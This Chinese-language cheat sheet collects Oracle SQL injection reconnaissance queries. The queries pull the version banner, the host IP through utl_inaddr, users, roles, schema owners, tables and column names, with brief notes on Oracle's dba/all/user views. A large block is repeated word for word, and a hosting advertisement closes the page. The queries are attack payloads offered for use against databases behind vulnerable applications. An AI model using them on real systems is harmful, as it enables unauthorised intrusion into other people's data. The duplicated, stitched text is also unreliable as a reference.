Oracle注入簡單命令整理

第一次碰到Oracle，整理一些簡單實用的。

確定orcale

識別--為注釋符，不識別#

length()為求字符串長度函數，非len()

表

dual: 系統表，只有一個選項

表

all_tables:

table_name 表名

owner 所有者，庫名

表

all_tab_cols:

column_name 列名

data_type 數據類型

查看版本

select banner from sys.v_$version where rownum=1

查看IP以及主機名

select to_char(utl_inaddr.get_host_address) from dual--

select to_char(utl_inaddr.get_host_address) from dual--

查看用戶

select username from all_users

查看角色

select role from session_roles

查看庫

select owner from all_tables

查看表

select table_name from all_tables where owner=''

查看列

select column_name from all_tab_cols where table_name=''

其他

一下3個為不同級別，上例中因沒有dba權限，故全用all來代替

dba, 數據庫管理員

all, 全部用戶

user, 當前用戶

to_char() 轉換為字符竄

BLOB 大對象，屬于LOB，二進制數據，如照片等

表

all_tab_cols:

column_name 列名

data_type 數據類型

查看版本

select banner from sys.v_$version where rownum=1

查看IP以及主機名

select to_char(utl_inaddr.get_host_address) from dual--

select to_char(utl_inaddr.get_host_address) from dual--

查看用戶

select username from all_users

查看角色

select role from session_roles

查看庫

select owner from all_tables

查看表

select table_name from all_tables where owner=''

查看列

select column_name from all_tab_cols where table_name=''

其他

一下3個為不同級別，上例中因沒有dba權限，故全用all來代替

dba, 數據庫管理員

all, 全部用戶

user, 當前用戶

to_char() 轉換為字符竄

BLOB 大對象，屬于LOB，二進制數據，如照片等

服務器租用/服務器托管中國五強！虛擬主機域名注冊頂級提供商！15年品質保障！--億恩科技[ENKJ.COM]